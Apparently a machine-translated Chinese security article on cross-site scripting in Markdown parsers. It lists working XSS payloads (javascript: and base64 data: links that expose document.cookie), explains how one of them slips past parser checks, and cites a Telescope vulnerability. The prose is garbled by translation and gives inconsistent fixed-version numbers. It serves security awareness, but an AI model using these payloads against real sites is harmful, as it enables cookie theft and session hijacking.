什么是Markdown?
Markdown它是一种轻量级的标记语言,已经流行起来了GitHub和Stack Overflow作为普通人,我们也可以轻松开始广泛的支持。
用markdown写文章很好,那些琐碎的HTML标签可以抛在脑后。在过去的五年里,markdown收到了很多关注,包括Reddit,Github,StackOverflow许多应用,包括 ,都被使用markdown这也催生了很多markdown这里定义了一些分析器的生成markdown语法,语法协议markdown分析师将这些标签分析为html标签。
Markdown安全现状
Markdown分析器的安全状况如何?过滤用户输入的数据吗?
其实很多markdown如果解析器不过滤用户输入的数据,markdown添加用户评论等功能时,可能存在安全风险。
这里有一些关于这个问题的讨论:[1],[2],[3].
另外,如果用googe搜索一下:
markdown xss issue site:github.com你就会发现github上又很多***发现高项目存在XSS 漏洞。
所以,如何构建一些payload看以下内容:
[a](javascript:prompt(document.cookie))[a](j a v a s c r i p t:prompt(document.cookie))
)\
<javascript:prompt(document.cookie)>
<javascript:alert('XSS')>
\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw document.cookie)
[test](javascript:// prompt(1))
[test](javascript:// prompt(1);com)
上面这些payload是由Aleksa和原作者一起做的。在过去的12个月里,实际渗透测试证明了上述 payload 是有效的。而且很多 markdown 解析器受到影响。让我们看看。***一个payload:
[test](javascript:// prompt(1);com)我们猜测,markdown 分析器可以通过以下步骤进行分析&转换:
判断时有协议头///javascript 伪协议,Y
hostname 是一个常见的域名后缀(com,org)结尾的//是的, com 结尾 Y
将上述 payload 转换为 HTML 标签,//结果如下
构建一个成功XSS payload!点击上述链接触发XSS!
Telescope耐久性 分析器XSS 漏洞(CVE-2014-5144)
Telescope类似于著名的开源项目Reddit和Hackernews同样,提供社区功能。Telescope的一个解析帖子&评论的功能存在 XSS 漏洞,这个功能已经存在很久了!
在0.9.3在之前的版本中,上面的 payload 列表中的 payload 发帖或发表评论会导致一个XSS漏洞。漏洞已修复,Telescope在这里发了changelog:http://www.telesc.pe/blog/telescope-v093-dailyscope/
以下是漏洞对应的payload:
[notmalicious](javascript:window.onerror=alert;throw document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)注:上述漏洞已存在Telescope >= 0.7.3修复版本。